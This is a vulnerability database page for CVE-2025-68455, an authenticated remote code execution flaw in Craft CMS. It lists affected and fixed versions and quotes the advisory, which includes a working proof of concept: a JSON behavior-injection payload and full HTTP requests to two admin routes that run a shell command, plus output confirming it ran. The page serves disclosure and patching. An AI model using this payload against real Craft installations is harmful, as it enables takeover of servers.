CVE-2025-68455: Craftcms/cms Remote Code Execution Vulnerability

Q: What is CVE-2025-68455?

CVE-2025-68455 is a security vulnerability in Craftcms/cms involving Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').

Q: Which Craftcms/cms versions are affected?

Affected versions include releases prior to 5.8.21, 4.16.17 across affected packages: craftcms/cms.

Q: What version fixes CVE-2025-68455?

Upgrading to 5.8.21, 4.16.17 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is craftcms/cms affected?

Yes, craftcms/cms is affected in releases prior to 5.8.21, 4.16.17. Upgrade your dependency to 5.8.21, 4.16.17 or later.

Q: What CWE is associated with CVE-2025-68455?

CVE-2025-68455 is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.).

Q: How can I check Packagist dependencies for CVE-2025-68455?

Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-255j-qw47-wjh5

CWE-470

Published 2026-01-05

Advisory Summary

CVE-2025-68455 is a HIGH remote code execution vulnerability (CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')) affecting Craftcms/cms libraries in the Packagist ecosystem. The issue involves craft cms vulnerable to potential authenticated remote code execution via malicious attached behavior. Remediation is available by upgrading affected packages to version 5.8.21, 4.16.17.

CVE-2025-68455 at a Glance

CVE Identifier CVE-2025-68455

GHSA Identifier GHSA-255j-qw47-wjh5

Severity HIGH

CVSS v3.1 Base Score N/A

CWE Classification CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Affected Product Craftcms/cms

Package Ecosystem Packagist

Published Date 2026-01-05

Last Updated 2026-01-06

How to Fix CVE-2025-68455

To remediate this vulnerability, upgrade all affected Craftcms/cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/cms fixed: 5.8.21

Upgrade craftcms/cms to 5.8.21

craftcms/cms fixed: 4.16.17

Upgrade craftcms/cms to 4.16.17

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for craftcms/cms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-68455, inspect your project dependencies for Craftcms/cms:

inspect dependencies for craftcms/cms

Analyze the terminal output to locate any version of Craftcms/cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.21), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), where the product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. In Craftcms/cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Note that attackers must have administrator access to the Craft Control Panel for this to work. Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue. Resources: https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7 https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593 https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 ### Summary This was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS. Leveraging a legitimate but maliciously crafted Yii `Behavior` class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`. ### Details This vulnerability is inspired by `CVE-2024-4990` but differs because a legitimate Yii `Behavior` class is used to abuse the magic `__set()` and `__get()` methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for `CVE-2024-4990` and the related `CVE-2024-58136`. Using the `as <behavior>` syntax in JSON POST input, it’s possible to [attach](https://www.yiiframework.com/doc/guide/2.0/en/concept-behaviors#attaching-behaviors) `Behavior` classes to Yii `Components`, which was the crux of the vulnerability identified in `CVE-2024-4990`. Fixes for that vulnerability and the related `CVE-2024-58136` ensured that only classes of type `Behavior` could be attached to a `Component`. Craft CMS also implemented additional logic to prevent arbitrary `Behavior` classes from being attached to the vulnerable `Component`. A new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted `Behavior` class, namely the `yii\behaviors\AttributeTypecastBehavior`. Attaching a `Behavior` of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted `Component`. Using a [wildcard](https://www.yiiframework.com/doc/guide/2.0/en/concept-events#wildcard-events) event listener (specified as `on *` in JSON input) allows the attacker to catch any event called on the tainted `Component` and redirect the flow of control to call `self::beforeSave` of the `AttributeTypecastBehavior`, triggering the attacker-defined callable and resulting in RCE. See the commented payload below: ```json { "as xxx": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] // Attacker defined callable }, "typecastBeforeSave": "touch /tmp/touch" // Argument for the callable } ] }, "on *": "self::beforeSave" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above } ``` This was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected: * /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings * /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview ### PoC * Install Craft CMS via Composer: ``` $ composer create-project "craftcms/craft" app ``` * Use the built-in server to launch Craft CMS: ``` $ ./craft serve 127.0.0.1:9090 ``` * The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes: **/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings** ``` POST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings&v=1763562868146 HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1:9090/admin/settings/categories/new Content-Type: application/json X-Requested-With: XMLHttpRequest X-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb X-Registered-Js-Files: X-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B Content-Length: 1787 Origin: http://127.0.0.1:9090 Connection: keep-alive Cookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 {"uid":"c295eb34-dd4c-42ac-8d07-1b8c872a126d","layoutConfig":{"uid":"08ef66f3-f69e-495b-882f-56834efab200","tabs":[{"name":"Content","uid":"6f1efe1c-2de5-4783-ab39-7ff9149a9c90","userCondition":null,"elementCondition":null,"elements":[{"type":"craft\\fieldlayoutelements\\TitleField","inputType":null,"autocomplete":false,"class":null,"size":null,"name":null,"autocorrect":true,"autocapitalize":true,"disabled":false,"readonly":false,"title":null,"placeholder":null,"step":null,"min":null,"max":null,"requirable":false,"id":null,"containerAttributes":[],"inputContainerAttributes":[],"labelAttributes":[],"orientation":null,"label":null,"instructions":null,"tip":null,"warning":null,"providesThumbs":false,"includeInCards":false,"width":100,"dateAdded":"2025-11-19T06:33:18-08:00","uid":"bae4dcd7-635b-41fe-96a3-4d3d69e91969","userCondition":null,"elementCondition":null},{"type":"craft\\fieldlayoutelements\\CustomField","handle":null,"label":null,"instructions":null,"tip":null,"warning":null,"required":false,"providesThumbs":false,"includeInCards":false,"width":100,"dateAdded":null,"uid":"c295eb34-dd4c-42ac-8d07-1b8c872a126d","userCondition":null,"elementCondition":null,"fieldUid":"12ac060b-8c40-48a6-b70f-94361245b149","editCondition":null}]}],"generatedFields":[],"cardView":[],"cardThumbAlignment":"end","type":"craft\\elements\\Category"},"elementType":"craft\\elements\\Category","config":{ "as xxx": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] }, "typecastBeforeSave": "touch /tmp/touch111" } ] }, "on *": "self::beforeSave" },"settingsNamespace":null,"settings":null} ``` **/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview** ``` POST /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview&v=1763562868148 HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1:9090/admin/settings/categories/new Content-Type: application/json X-Requested-With: XMLHttpRequest X-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb X-Registered-Js-Files: X-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B Content-Length: 424 Origin: http://127.0.0.1:9090 Connection: keep-alive Cookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 {"fieldLayoutConfig":{ "as xxx": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"] }, "typecastBeforeSave": "touch /tmp/touch222" } ] }, "on *": "self::beforeSave" },"cardElements":[],"showThumb":null,"thumbAlignment":"end"} ``` * Check the filesystem to confirm the creation of the two files in `/tmp` and hence confirm RCE: ``` $ ls -la /tmp/ ... -rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch111 -rw-rw-r-- 1 calum calum 0 Nov 19 16:05 touch222 ``` ### Impact An attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.

CVE-2025-68455 Affected Craftcms/cms Versions

2 component(s)

Fixed Versions:

5.8.214.16.17

Product / Package	Ecosystem	Affected Versions	Fixed Version
craftcms/cms	Packagist	≥ 5.0.0-RC1 < 5.8.21	5.8.21
craftcms/cms	Packagist	≥ 4.0.0-RC1 < 4.16.17	4.16.17

References

GitHub Advisory / Wiki ADVISORY

https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5

NVD — CVE-2025-68455 NVD

https://nvd.nist.gov/vuln/detail/CVE-2025-68455

Security Fix Commit FIX COMMIT

https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7

Security Fix Commit FIX COMMIT

https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef

Security Fix Commit FIX COMMIT

https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593

Craftcms/cms Source Repository REPOSITORY

https://github.com/craftcms/cms

Craftcms/cms Source Repository REPOSITORY

https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04

Frequently Asked Questions

What is CVE-2025-68455?

CVE-2025-68455 is a security vulnerability in Craftcms/cms involving Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').

Which Craftcms/cms versions are affected?

Affected versions include releases prior to 5.8.21, 4.16.17 across affected packages: craftcms/cms.

What version fixes CVE-2025-68455?

Upgrading to 5.8.21, 4.16.17 (or the latest patched release for your respective branch) resolves the vulnerability.

Is craftcms/cms affected?

Yes, craftcms/cms is affected in releases prior to 5.8.21, 4.16.17. Upgrade your dependency to 5.8.21, 4.16.17 or later.

What CWE is associated with CVE-2025-68455?

CVE-2025-68455 is classified under CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.).

How can I check Packagist dependencies for CVE-2025-68455?

Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-255j-qw47-wjh5",
  "modified" : "2026-01-06T15:52:18Z",
  "published" : "2026-01-05T18:50:14Z",
  "aliases" : [ "CVE-2025-68455" ],
  "summary" : "Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior",
  "details" : "Note that attackers must have administrator access to the Craft Control Panel for this to work.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nResources:\n\nhttps://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef\n\nhttps://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7\n\nhttps://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04\n\n### Summary\n\nThis was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS.\n\nLeveraging a legitimate but maliciously crafted Yii `Behavior` class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`.\n\n### Details\nThis vulnerability is inspired by `CVE-2024-4990` but differs because a legitimate Yii `Behavior` class is used to abuse the magic `__set()` and `__get()` methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for `CVE-2024-4990` and the related `CVE-2024-58136`.\n\nUsing the `as <behavior>` syntax in JSON POST input, it’s possible to [attach](https://www.yiiframework.com/doc/guide/2.0/en/concept-behaviors#attaching-behaviors) `Behavior` classes to Yii `Components`, which was the crux of the vulnerability identified in `CVE-2024-4990`. Fixes for that vulnerability and the related `CVE-2024-58136` ensured that only classes of type `Behavior` could be attached to a `Component`. Craft CMS also implemented additional logic to prevent arbitrary `Behavior` classes from being attached to the vulnerable `Component`.\n\nA new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted `Behavior` class, namely the `yii\\behaviors\\AttributeTypecastBehavior`. Attaching a `Behavior` of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted `Component`.\n\nUsing a [wildcard](https://www.yiiframework.com/doc/guide/2.0/en/concept-events#wildcard-events) event listener (specified as `on *` in JSON input) allows the attacker to catch any event called on the tainted `Component` and redirect the flow of control to call `self::beforeSave` of the `AttributeTypecastBehavior`, triggering the attacker-defined callable and resulting in RCE.\n\nSee the commented payload below:\n\n```json\n{\n  \"as xxx\": {\n    \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n    \"__construct()\": [\n      {\n        \"attributeTypes\": {\n          \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"] // Attacker defined callable\n        },\n        \"typecastBeforeSave\": \"touch /tmp/touch\" // Argument for the callable\n      }\n    ]\n  },\n  \"on *\": \"self::beforeSave\" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above\n}\n```\n\nThis was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected:\n* /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\n* /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview\n\n### PoC\n* Install Craft CMS via Composer:\n```\n$ composer create-project \"craftcms/craft\" app\n```\n* Use the built-in server to launch Craft CMS:\n```\n$ ./craft serve 127.0.0.1:9090\n```\n* The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:\n\n**/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings&v=1763562868146 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://127.0.0.1:9090/admin/settings/categories/new\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nX-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb\nX-Registered-Js-Files: \nX-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B\nContent-Length: 1787\nOrigin: http://127.0.0.1:9090\nConnection: keep-alive\nCookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"layoutConfig\":{\"uid\":\"08ef66f3-f69e-495b-882f-56834efab200\",\"tabs\":[{\"name\":\"Content\",\"uid\":\"6f1efe1c-2de5-4783-ab39-7ff9149a9c90\",\"userCondition\":null,\"elementCondition\":null,\"elements\":[{\"type\":\"craft\\\\fieldlayoutelements\\\\TitleField\",\"inputType\":null,\"autocomplete\":false,\"class\":null,\"size\":null,\"name\":null,\"autocorrect\":true,\"autocapitalize\":true,\"disabled\":false,\"readonly\":false,\"title\":null,\"placeholder\":null,\"step\":null,\"min\":null,\"max\":null,\"requirable\":false,\"id\":null,\"containerAttributes\":[],\"inputContainerAttributes\":[],\"labelAttributes\":[],\"orientation\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":\"2025-11-19T06:33:18-08:00\",\"uid\":\"bae4dcd7-635b-41fe-96a3-4d3d69e91969\",\"userCondition\":null,\"elementCondition\":null},{\"type\":\"craft\\\\fieldlayoutelements\\\\CustomField\",\"handle\":null,\"label\":null,\"instructions\":null,\"tip\":null,\"warning\":null,\"required\":false,\"providesThumbs\":false,\"includeInCards\":false,\"width\":100,\"dateAdded\":null,\"uid\":\"c295eb34-dd4c-42ac-8d07-1b8c872a126d\",\"userCondition\":null,\"elementCondition\":null,\"fieldUid\":\"12ac060b-8c40-48a6-b70f-94361245b149\",\"editCondition\":null}]}],\"generatedFields\":[],\"cardView\":[],\"cardThumbAlignment\":\"end\",\"type\":\"craft\\\\elements\\\\Category\"},\"elementType\":\"craft\\\\elements\\\\Category\",\"config\":{\n  \"as xxx\": {\n    \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n    \"__construct()\": [\n      {\n        \"attributeTypes\": {\n          \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n        },\n        \"typecastBeforeSave\": \"touch /tmp/touch111\"\n      }\n    ]\n  },\n  \"on *\": \"self::beforeSave\"\n},\"settingsNamespace\":null,\"settings\":null}\n```\n\n**/index.php?p=admin%2Factions%2Ffields%2Frender-card-preview**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview&v=1763562868148 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://127.0.0.1:9090/admin/settings/categories/new\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nX-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb\nX-Registered-Js-Files: \nX-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B\nContent-Length: 424\nOrigin: http://127.0.0.1:9090\nConnection: keep-alive\nCookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; 